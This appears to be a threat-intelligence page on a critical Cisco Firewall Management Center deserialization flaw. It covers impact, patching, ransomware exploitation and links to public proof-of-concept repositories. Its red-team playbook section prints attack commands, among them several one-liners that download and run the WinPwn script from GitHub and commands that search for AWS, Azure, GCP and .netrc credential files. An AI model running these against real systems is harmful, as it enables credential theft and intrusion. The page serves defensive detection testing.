CVE-2026-20131

CRITICAL CISA KEV POC TTE 1d Pub 04/03 Upd 25/03

Overview

This vulnerability is an insecure deserialization flaw in the web-based management interface of Cisco Secure Firewall Management Center (FMC). It arises from the unsafe processing of user-supplied serialized Java byte streams, allowing manipulation of the deserialization process. The affected component is the Java deserialization mechanism within the FMC's management interface, which improperly validates incoming serialized objects.

Vulnerability Description

A vulnerability in the web-based management interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary Java code as root on an affected device. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream. An attacker could exploit this vulnerability by sending a crafted serialized Java object to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary code on the device and elevate privileges to root. Note: If the FMC management interface does not have public internet access, the attack surface that is associated with this vulnerability is reduced.

Impact

An unauthenticated remote attacker can execute arbitrary Java code with root privileges on the affected FMC device, resulting in full system compromise. This includes the ability to execute arbitrary commands, modify configurations, and potentially disrupt firewall management operations. The vulnerability requires no authentication or user interaction and can be exploited remotely if the management interface is accessible, leading to critical business impacts such as loss of control over security infrastructure and data exposure.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Secure Firewall Management Center versions 6.4.0.18 and later. Administrators should upgrade affected FMC installations to the fixed versions as detailed in Cisco Security Advisory cisco-sa-fmc-rce-NKhnULJh. If immediate patching is not feasible, restricting public internet access to the FMC management interface can reduce exposure. Refer to the Cisco advisory URL for comprehensive patching instructions and mitigation guidance.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the web-based management interface of Cisco Secure Firewall Management Center Software arises from insecure deserialization of user-supplied Java byte streams. This flaw allows an unauthenticated remote attacker to send a crafted serialized Java object to the management interface, leading to arbitrary code execution with root privileges on the affected device. The underlying issue stems from the way the software processes serialized objects without adequate validation, enabling malicious actors to manipulate the deserialization process. This vulnerability is particularly critical due to its potential to compromise the integrity and confidentiality of the entire firewall management system.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could target devices that are directly accessible over the internet or those exposed through misconfigured network settings. Once the crafted Java object is sent to the management interface, the attacker can execute arbitrary code, potentially leading to full control over the device. This could include the installation of malware, data exfiltration, or further lateral movement within the network. The ease of exploitation, combined with the high privileges gained, makes this vulnerability particularly dangerous for organizations relying on Cisco's firewall management solutions.

The real-world impact of this vulnerability can be severe, posing significant business risks. Organizations that utilize Cisco Secure Firewall Management Center Software may find themselves exposed to data breaches, service disruptions, and reputational damage. The ability for an attacker to execute arbitrary code as root means that they could manipulate firewall rules, access sensitive information, or disrupt critical services. In a landscape where cybersecurity threats are increasingly sophisticated, the consequences of such a breach could lead to financial losses, regulatory penalties, and a loss of customer trust.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the firewall management software to the latest versions is crucial, as vendors typically release patches to address known vulnerabilities. Network segmentation can also reduce the attack surface by limiting access to the management interface from untrusted networks. Additionally, employing intrusion detection systems (IDS) can help identify suspicious activity related to deserialization attempts. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.

In conclusion, the vulnerability in Cisco Secure Firewall Management Center Software highlights the critical need for robust security practices in managing network infrastructure. The potential for remote code execution as root underscores the importance of secure coding practices, especially regarding deserialization processes. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and protect their digital assets.




CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) for CVE-2026-20131, rising by over 100% in recent assessments. This uptick occurs despite a significant reduction in detection activity across our sensors, suggesting that while direct exploit attempts may be less frequently observed, the availability of new proof-of-concept exploits has broadened the exploitation landscape. The emergence of multiple publicly accessible exploit tools lowers the barrier for adversaries, including ransomware groups such as Akira, to leverage this critical vulnerability for remote code execution with root privileges. The increased EPSS score, now placing the vulnerability in a higher percentile of predicted exploitation likelihood, underscores an elevated risk profile. For defenders, this shift signals a growing potential for opportunistic attacks that could bypass traditional detection mechanisms, emphasizing the need for heightened vigilance. Consequently, the threat level associated with CVE-2026-20131 should be considered elevated, reflecting both the expanded exploit toolkit and the persistent interest from ransomware actors, even as telemetry indicates fewer direct exploit attempts.

Affected Products (71)

Vendor Product Version CPE
cisco Cisco Secure Firewall Management Center 6.4.0.13 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.13:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 6.4.0.14 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.14:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 6.4.0.15 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.15:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 6.4.0.16 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.16:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 6.4.0.17 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.17:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 6.4.0.18 cpe:2.3:a:cisco:secure_firewall_management_center:6.4.0.18:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.0 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.1.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.1.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.2 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.2.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.2.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.3 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.3:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.4 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.4:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.5 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.5:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.6 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.6.1 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.1:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.6.2 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.2:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.6.3 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.6.3:*:*:*:*:*:*:*
cisco Cisco Secure Firewall Management Center 7.0.7 cpe:2.3:a:cisco:secure_firewall_management_center:7.0.7:*:*:*:*:*:*:*
+51 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (5)

Repository Author Stars Forks Date Link
sak110/CVE-2026-20131
sak110 3 1 2026-03-11 View
p3Nt3st3r-sTAr/CVE-2026-20131-POC
p3Nt3st3r-sTAr 0 3 2026-03-06 View
Hassan-Pouladi/Cisco-FMC-honeypot
Originally a Honeypot for CVE-2026-20131
Hassan-Pouladi 1 1 2026-04-07 View
Sushilsin/CVE-2026-20131
CVE-2026-20131 — Cisco FMC Insecure Java Deserialization (RCE)
Sushilsin 1 1 2026-03-06 View
0xBlackash/CVE-2026-20131
CVE-2026-20131
0xBlackash 0 0 2026-05-10 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Considerable activity

Threat Feed

26 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-03-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-27
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-26
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-25
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-20
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-19
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-03-19
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-03-18
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-03-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-03-06
PoC Published (5 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Deserialization Vulnerabilities
100% deserialization
Remote Code Execution
73% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-586 Object Injection
63%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-20131
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-rce-NKhnULJh
aws.amazon.com
NVD API Technical Description
https://aws.amazon.com/blogs/security/amazon-threat-intelligence-teams-identify-interlock-ransomware-campaign-targeting-enterprise-firewalls/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20131